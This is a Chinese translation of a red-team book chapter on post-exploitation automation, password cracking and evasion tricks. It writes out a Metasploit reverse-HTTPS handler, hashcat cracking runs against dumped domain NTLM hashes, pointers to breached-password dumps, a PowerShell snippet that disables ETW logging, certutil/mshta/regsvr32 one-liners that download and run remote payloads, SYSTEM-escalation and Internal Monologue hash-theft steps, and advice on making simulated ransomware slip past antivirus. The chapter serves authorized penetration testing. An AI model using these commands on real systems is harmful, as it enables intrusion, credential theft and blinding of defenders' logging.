第8章 特勤组——破解、利用和技巧

本章重点介绍各种有用的资源,这些资源对红队和渗透测试人员非常有用。虽然这些资源并不一定在每次行动中都用到,但是对于特定场景或个别场景非常有用。
8.1 自动化
随着基于启发式的终端安全防护机制越来越强大,攻击方式需要快速应变。我们通常可以编写恶意软件规避杀毒软件的检测,即使通过了初次安全防护检测,但是一旦使用类似mimikatz(在内存中)工具或者横向渗透到另一台主机,就会引发警报。为了解决这个问题,我总是告诉红队在首次尝试攻击时就被发现。在通常情况下,蓝队在发现我们的基本/默认样式(或稍微混淆)的恶意软件时,认为取得胜利,但是首次尝试的真正目的是了解目标的环境。初始静荷自动运行多个侦察脚本,实现上述目的。在下文中,我们将介绍一些快速自动运行的脚本,这些脚本可以帮助我们自动化一些攻击。
8.1.1 使用RC脚本自动化Metasploit
使用Metasploit,我们可以高效运行后渗透脚本,方法如下。
- 在Metasploit中,搜索所有后期渗透利用模块。
- msfconsole。
- show post。
从“post”结果中,选择要使用的所有模块,方便在Meterpreter Shell中自动执行。在这种情况下,添加特权迁移后渗透模块(http://bit.ly/2vn1wFB)。配置Meterpreter Shell,在受感染主机的初始连接中,运行这个静荷,我们需要指定AutoRunScript参数。您可以根据需要,添加尽可能多的AutoRunScript,实现转储有关系统/网络的信息、横向移动等功能。
下面创建处理程序和AutoRunScript。
- 创建处理程序。
- 配置处理程序,运行脚本。
- use multi/handler
- set payload windows/meterpreter/reverse_https
- set LHOST 10.100.100.9
- set LPORT 443
- set AutoRunScript post/windows/manage/priv_migrate
- set ExitOnSession false
- set EnableStageEncoding true
- exploit -j
- 运行处理程序。
8.1.2 Empire自动化
Empire具有与Metasploit资源文件类似的功能,可以自动完成许多重复性任务。首先,我们需要创建一个文件(在示例中,创建一个名为/opt/empire_autoload.rc的文件),然后在Empire实例中加载它。
- 在单独的终端窗口中,创建处理程序文件。
- gedit /opt/empire_autoload.rc
- 添加您需要执行的后渗透模块。
- usemodule
situational_awareness/network/powerview/get_user
- execute
- back
- usermodule
situational_awareness/network/powerview/get_computer
- execute
- back
- 在Empire中加载autoload.rc资源文件,如图8.1所示。
- agents
- autorun /opt/empire_autoload.rc powershell
- autorun show

图8.1
正如您看到的,当代理回连时,它会自动运行get_user和get_computer PowerShell脚本。这些脚本的所有结果都存储在agent.log文件中。在这种情况下,我们的代理名称为N6LM348G,因此,日志将存储在/opt/Empire/downloads/N6LM348G/agent.log中。
8.1.3 Cobalt Strike自动化
Cobalt Strike功能强大的主要原因之一是Aggressor Script。使用Cobalt Strike的Aggressor Script,您不仅可以配置自动运行样式脚本,而且可以创建非常复杂的攻击。
例如,我经常碰到共享工作站的情况,比如实验室或会议室。我可能希望代理程序做的一件事是每隔半小时运行mimikatz获取明文凭证。使用Aggressor Script,我们可以执行这些操作以及其他更多的操作。
8.1.4 自动化的未来
最后,有一些很值得关注的项目正朝着自动化、智能化突破和APT攻击的方向发展。我坚信攻击的自动化将成为未来的突破,我们需要能够有这种能力从而测试/验证安全防护机制的效果。我认为在自动化方面具有巨大潜力的两个工具是Portia和Caldera。
8.2 密码破解
我最新的密码字典是最近的41GB密码转储,其中包含14亿用户名及其密码。现在,我不想直接提供torrent链接,因为其中包含很多敏感的用户名(或电子邮件)和相关密码,您可以搜索BreachCompilation.tar.bz2查找更多的相关信息。在下载这些非常敏感的信息之前,请查阅当地的法律条款。我建议您不要下载原始转储,而只是下载密码列表。我已经下载了41 GB转储,删除了所有用户名/电子邮件,只获取了密码字典。在我的个人主机上,使用8x Gigabyte GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G显卡。您可以自己搭建一个硬件,包括机箱、内存、电源、SSD硬盘和GPU显卡。当然,机箱至少需要4U机架(例如,SYS-4028GR-TR2)和功率足够大的电源。虽然价格不菲,但我们可以每秒大约计算472 000 000 000个散列值,暴力破解NTLM(Windows)散列值。这是8个GPU的hashcat基准测试,散列模式为1000 - NTLM。
Speed.Dev.#1.....: 59436.3 MH/s (63.16ms)
Speed.Dev.#2.....: 58038.3 MH/s (64.70ms)
Speed.Dev.#3.....: 59104.4 MH/s (63.55ms)
Speed.Dev.#4.....: 59123.0 MH/s (63.52ms)
Speed.Dev.#5.....: 58899.7 MH/s (63.74ms)
Speed.Dev.#6.....: 59125.8 MH/s (63.51ms)
Speed.Dev.#7.....: 59256.3 MH/s (63.36ms)
Speed.Dev.#8.....: 59064.5 MH/s (63.56ms)
Speed.Dev.#*.....: 472.0 GH/s
对于那些买不起大型GPU设备的人来说,还有其他选择。虽然也不是很便宜,但您可以考虑云破解。最近,亚马逊云集成了TESLA GPU(不是汽车),处理能力比1080Ti更强。在Medium上有一篇很棒的文章介绍如何基于这些GPU搭建破解服务器。
来自Iraklis Mathiopoulos论文的统计数据,散列模式为1000 - NTLM。
Speed.Dev.#1.....: 79294.4 MH/s (33.81ms)
Speed.Dev.#2.....: 79376.5 MH/s (33.79ms)
Speed.Dev.#3.....: 79135.5 MH/s (33.88ms)
Speed.Dev.#4.....: 79051.6 MH/s (33.84ms)
Speed.Dev.#5.....: 79030.6 MH/s (33.85ms)
Speed.Dev.#6.....: 79395.3 MH/s (33.81ms)
Speed.Dev.#7.....: 79079.5 MH/s (33.83ms)
Speed.Dev.#8.....: 79350.7 MH/s (33.83ms)
Speed.Dev.#*.....: 633.7 GH/s
NTLM计算总的速度比使用TESLA GPU大约快34%。运行AWS云的总成本约为每小时25美元。因此,您需要统筹规划自己的预算、要求和目标。
实验
最近,Troy Hunt 在“Have I Been Pwned”网站上发布了一个密码散列的SHA1列表,压缩文件大小约为5.3 GB。这是由以前泄露的数据生成的大字典,可以作为一份测试密码破解能力的实验数据。
随着这些GPU变得越来越快,10个字符以下的密码可以在相对合理的时间范围内进行智能破解。其中一些使用设置合理的密码掩码可以实现破解,但在大多数情况下,需要使用密码字典破解。使用真实漏洞的密码字典是破解大于12个字符密码的一种极快的方法。查看过去所有的泄露数据,我们可以很快地了解人类如何创建密码、混淆密码的常用技巧以及常用的单词。
使用具有复杂规则集的这些密码字典,我们将能够快速破解密码(有时超过25个字符)。但是请记住,密码字典取决于构建方式和更新方式。作为红队,我们定期跟踪破解的所有账户,分析它们,并将它们添加到密码字典中。我们还需要不断监控新的数据泄露、pastebin/pastie类型的网站等,查找新的密码。
常用的密码字典
- berzerk0 Real-Password-WPA密码字典。
- 18.6 GB Uncompressed。
- berzerk0 Dictionary-Style字典。
- 1 GB Uncompressed
- http://bit.ly/2GXRNus
- Xato Million Passwords。
- magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB
- Hashes.org。
- http://hashes.org/left.php
- Multiple Gigabytes and growing daily
- Crackstation。
- Weakpass。
- First20Hours。
- 这个库包含按频率顺序排列的10 000个常见的英语单词列表,由Google的Trillion Word Corpus的N-Gram频率分析生成
- SkullSecurity.org。
- 很多老的字典库,例如 rockyou、myspace和phpbb
- Daniel Miessler's Password Compilation。
- Adeptus-mechanicus Hash dumps。
将好的密码字典进行组合,我们可以在这些密码字典之上,添加规则,查找更多密码。就hashcat而言,规则定义了是否需要对密码字典进行修改。介绍规则的一种方式是使用一个易于理解的例子。我们可以使用KoreLogicRulesAppendYears规则集,如下所示。
- cAz"19[0-9][0-9]"。
- Az"19[0-9][0-9]"。
- cAz"20[01][0-9]"。
- Az"20[01][0-9]"。
它会在每个密码后面附加1949年~2019年的年份。如果密码字典中包含单词“hacker”,那么它会尝试计算字符串“hacker1949”~“hacker2019”的散列值。请记住,您制定的规则越复杂,完成单词列表所需的时间就越多。
幸运的是,我们不需要自己创建规则,因为已经有很多很好的规则。当然,还有默认的hashcat规则,它们来自许多较早的数据泄露,以及常见的密码操作方法。这是一个很好的起点。Kore规则来自Korelogic的密码竞赛,是另外一个标准。另外,NSAKEY和Hob0Rules这两个规则肯定需要更长的时间,但有非常详细的规则集。在过去,我应用所有规则,将它们放到一个文件中,并且唯一标识这个文件。但是现在,NotSoSecure已经为您完成这个功能,规则如下。
- Hashcat规则。
- Kore规则。
- NSAKEY Rules (One of my favorite) *Forked。
- Praetorian-inc Hob0Rules *Forked。
- NotSoSecure - One Rule to Rule Them All *Forked。
8.3 彻底破解全部——尽您所能快速破解
您突破CSK公司,获取了大量的密码。在有限的时间内,您如何取得最好的“收益”?以下演练将指导您完成初始步骤,我们需要尽可能多地破解密码。虽然,我们通常只需要几个域管理员、LDAP 管理员和公司管理员账户,但我的强迫症倾向驱使我破解所有密码。
在开始之前,您确实需要了解散列的密码格式。一旦理解了散列类型,最好先进行一些初始测试,确定密码散列算法的速度。这将对您的密码破解方法产生巨大影响。例如,在查看Windows散列时,我们看到NTLM(Windows)的执行速度大约是5 000 MH/s。常见的Linux散列值SHA-256的执行速度约为5 000 MH/s。
这意味着对于SHA-256散列,您的GPU可以每秒猜测5 000 000 000次。这可能看起来很多,但是当您有大量的单词字典和复杂规则集时,它可能不够强大。这是因为与NTLM相比,SHA-256算法的计算速度非常慢且成本高,NTLM可以达到每秒75 000 000 000个散列值。在例子中,我们将使用8个1080Ti GPU,通过NTLM的快速散列转储。
破解Cyber SpaceKittens NTLM散列
在获得域管理员访问权限后,您可以使用DCSync攻击方法,从域控制器转储所有散列值。您现在的目标是尽可能多地尝试破解散列。您能够在以后的行动中使用这些账户,并向被攻击者公司展示员工密码使用方面的问题。
我们在名为cat.txt的文件中保存所有NTLM Windows散列值。为了使读者更容易理解,我们将省略初始的hashcat执行命令。每个命令执行都将以“hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt”开头。
- hashcat:运行hashcat工具。
- -w 3:使用固定的配置。
- -m 1000:散列值的格式为 NTLM。
- -o hashes.cracked:结果输出到文件中。
- ./hashes/cat.txt:散列值存储的位置。
因此,每当您看到“[hashcat]”字符串时,可使用以下命令替换它:“hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt”。现在,快速破解NTLM散列值,我们可以在8 个GPU 1080Ti平台上高效工作。
- 对于长度为1~7个字符的任何字母、数字或特殊字符(?a),使用攻击模式“brute-force”(-a 3)破解所有7个字符或更少的密码(增量)。
- [hashcat] -a 3 ?a?a?a?a?a?a?a --increment
- 7个字符alpha/num/special破解总时间约为5min。8个字符需要运行9h。
- 您还可以限制特殊字符为少数(!@#$%^),这将显著减少破解时间和复杂度。
- 接下来,将所有常见密码字典转储与散列值进行比较。第一个文件(40GB_ Unique_File.txt)是一个3.2 GB大小的密码文件,运行大约需要9s。
- [hashcat] ./lists/40GB_Unique_File.txt
- 正如我们所看到的,即使是最大的文件,计算的时间也只需要几秒。为了提高效率,我们实际上可以使用“*”运算符,与./lists/文件夹中的每个密码字典进行比较。
- 接下来,基于散列算法的速度,可以在单个密码字典文件上尝试不同的规则集。我们将从rockyou规则集开始,这些NTLM散列值大约需要2min9s。
- [hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule
- 注意:使用3 GB大小文件设置NSAKEY规则,大约需要7min,而NotSoSecure的“The one rule to rule them all”规则集大约需要20min
- 我重新使用其他密码字典和规则集组合。所有大型规则集和大型密码字典组合的第一轮,我们至少可以提高30%的破解率。
- 接下来,我们开始在密码字典的右侧添加字符,满足更长密码破解需求。下面显示的-a 6开关命令,将每个字母/数字/特殊字符添加到密码右侧,从1个字符开始一直到4个字符。
- [hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a
- 需要花费大约30min时间完成4个字符的尝试
- 我们还可以在密码列表的左侧添加字符。以下命令将每个字母/数字/特殊字符添加到密码的左侧,从1个字符开始一直到4个字符。
- [hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt
- 需要花费大约30min时间完成4个字符的尝试
- hashcat应用:hashcat包括很多工具,可以帮助构建更好的密码字典。一个例子是组合器,它可以采用两个或3个不同的密码字典进行组合。使用小的字典速度相对较快。把我们的shortKrak字典与它自身结合,就会产生一个非常好的结果。
- ./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/ comboshortKrak.txt
- 使用排名靠前的Google 1 000字的列表会产生大约1.4 GB大小的字典文件,因此您必须小心地选择文件的大小。
- ./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_ 1000.txt > lists/google_top_1000_combo.txt
- 输入4MB文件,运行combinator,生成的文件大于25 GB的存储空间。因此,要注意这些文件的大小
- 很多时候,人们使用的密码不是常见的字典单词,而是基于公司、产品或服务的单词。我们可以使用客户端网站创建自定义密码字典。实现这个功能的两个工具如下。
- Brutescrape - https://github.com/cheetz/brutescrape
- Burp Word List Extractor -https://portswigger.net/bappstore/21df56baa03d499c 8439018fe075d3d7
- 接下来,输入所有破解的密码,分析它们并用来创建掩码https://thesprawl.org/ projects/pack/。
- python ./PACK-0.0.4/statsgen.py hashes.password
- python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks
- python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q –o custom-optindex. hcmask
- 使用新创建的掩码,运行密码破解。
- [hashcat] -a 3 ./custom-optindex.hcmask
- 通过Pipal获取密码字典,从而更好地理解基本单词,如图8.2所示。

图8.2
- cd /opt/pipal
- ./pipal.rb hashes.password
- 查看密码字典,您可能会发现该公司使用resetme12345作为默认密码,公司可能位于密歇根州(底特律、老虎、足球)。
您的最终目标是什么?通过对不同的密码生成工具、分析技术和其他技术进行大量研究,可以找到更快的破解密码的方法。
8.4 创造性的行动
进入公司内部的红队,在行动中可能更有创造性。我经常进行的活动是模拟勒索软件。WannaCry爆发的时候,我们可以模拟勒索软件攻击。随着勒索软件攻击方式越来越流行,我们确实需要测试业务恢复/灾难恢复程序。
我们在现实生活中见证了WannaCry事件,WannaCry通过SMB共享横向移动,利用“永恒之蓝”漏洞,加密文件,甚至删除了主机系统上的所有备份。作为一个IT组织,我们需要确定的问题是,如果我们的某个用户单击了该恶意软件,会产生什么影响?我们可以恢复用户文件、共享文件和数据库等吗?我们一直听到的答案是:“我想是这样……”,但如果没有红队来提前验证这些流程,我们最后等到房子被烧成灰烬才会知道真正的答案。
这就是我喜欢为组织提供内部红队的原因。我们可以在受控环境中真正证明并验证安全性和IT是否正常运行。本书并不包括勒索软件的例子,因为这样做很危险。您可以自己构建工具,并在客户允许的情况下,开展相关测试。
下面是有关模拟勒索软件的提示。
- 某些组织实际上不允许您删除/加密文件。对于这些公司,您可以模拟勒索软件攻击。一旦恶意软件被执行,它所做的就是扫描主机/网络中的重要文件,将每个文件读入内存,随机交换一个字节,将这些字节发送到命令控制服务器,并包含元数据。这将演示您能够访问文件的数量,在检测流量之前可以从网络中渗透数据量,以及可以恢复文件的数量。
- 查看其他勒索软件样本,了解它们正在加密的文件类型。这可以模拟一个更真实的行动。例如,查看WannaCry中的文件类型。
- 如果您要“加密”恶意软件,使用一些简单的方法来做。它可以是带有密钥的标准AES,公钥/私钥x509证书,或某种按位“异或”。实现越复杂,无法恢复文件的可能性就越大。
- 测试、测试和测试。最糟糕的事情是发现公司无法恢复关键文件,并且您的解密过程不起作用。
- 许多下一代杀毒软件,根据某些操作自动阻止勒索软件。例如,勒索软件可能执行的正常检测是:扫描系统中所有类型为X的文件、加密文件、删除卷副本以及禁用备份。要规避检测过程,可以尝试放慢操作过程,或者尝试通过不同的流程完成相同的操作。
8.5 禁用PS记录
作为红队,我们一直在寻找独特的方法,尝试禁用任何类型的日志记录。虽然有一些办法来执行这些攻击,但我们仍在不断寻找新的简单技术。
以下是leechristensen的示例,可用于禁用PowerShell日志记录。
- $EtwProvider = [Ref].Assembly.GetType('System.Management.Automation. Tracing. PSE twLogProvider').GetField('etwProvider','NonPublic,Static')。
- $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider –Argument List @([Guid]::NewGuid())。
- $EtwProvider.SetValue($null, $EventProvider)。
8.6 在Windows中使用命令行从Internet下载文件
如果您通过应用程序漏洞获得执行权限,通过Office文件或PDF获得Shell,那么接下来的步骤可能是下载并执行后续恶意软件。对于这些情况,我们可以利用Windows“功能”完成工作。大多数例子来自arno0x0x和@subtee的研究成果。
- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))。
- mshta http://webserver/payload.hta。
- rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script: http:// webserver/payload.sct");window.close();。
- regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll。
- certutil -urlcache -split -f http://webserver/payload payload。
- certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\ v4.0.30319\ InstallUtil/ logfile= /LogToConsole=false /u payload.dll。
- certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.exe & payload.exe。
这些只是一些示例,还有大量的方法通过命令行执行后续代码。您可以找到隐藏传统日志记录的其他技术。
8.7 从本地管理员获取系统权限
有多种方式可以通过本地管理员账户获取系统权限。当然,常见的方法是使用Metasploit的getsystem,但这并不总是可用。decoder-it创建了一个PowerShell脚本,将本地管理PowerShell提示符转换为System权限,通过创建一个新进程,设置新进程的父进程为系统进程。可以找到这个PowerShell,并执行以下操作,如图8.3所示。

图8.3
- PS> . .\psgetsys.ps1。
- PS>[MyProcess]::CreateProcessFromParent(<processrun_by_system>,<command to_execute>)。
8.8 在不触及LSASS的情况下获取NTLM散列值
Elad Shamir进行了广泛的研究,并且清楚地分析了如何在不接触LSASS的情况下获取NTLM散列值。在这种攻击方法出现之前,Windows 10企业版和Windows Server 2016操作系统中提供保护机制——通过mimikatz访问LSASS无法获取散列法。Elad开发了一种称为Internal Monologue的攻击方法,操作方法如下所示。
- 如上所述,通过将LMCompatibilityLevel、NTLMMinClientSec和RestrictSending- NTLMTraffic更改为适当的值,禁用NetNTLMv1防护机制。
- 从当前正在运行的进程中,检索所有非网络登录令牌,并模拟关联的用户。
- 对于每个模拟用户,在本地与NTLM SSP交互,在模拟用户的安全上下文中,获取所选质询的NetNTLMv1响应。
- 恢复LMCompatibilityLevel、NTLMMinClientSec和RestrictSendingNTLMTraffic原始值。
- https://github.com/eladshamir/Internal-Monologue,如图8.4所示。

图8.4
8.9 使用防御工具构建培训实验室和监控平台
测试恶意软件的一个比较有挑战性的工作是建立一个非常快速的测试环境。Chris Long构建的一个名为Detection Lab的强大工具是Packer和Vagrant脚本的集合,允许您快速将Windows 活动目录联机。该工具包含一系列主机安全工具和日志记录工具。检测实验室由4个主机组成。
- DC:Windows 2016域控制器。
- WEF:负责Windows事件搜集的Windows 2016服务器。
- Win10:模拟非服务器端点的Windows 10主机。
- Logger:运行Splunk和Fleet服务器的Ubuntu 16.04主机。
8.10 结论
对于红队来说,“欺骗”和技巧是能力的一部分。我们必须不断研究被攻击用户、系统,以及规避检测的更好方法。这需要数小时到数年的练习、汗水和眼泪。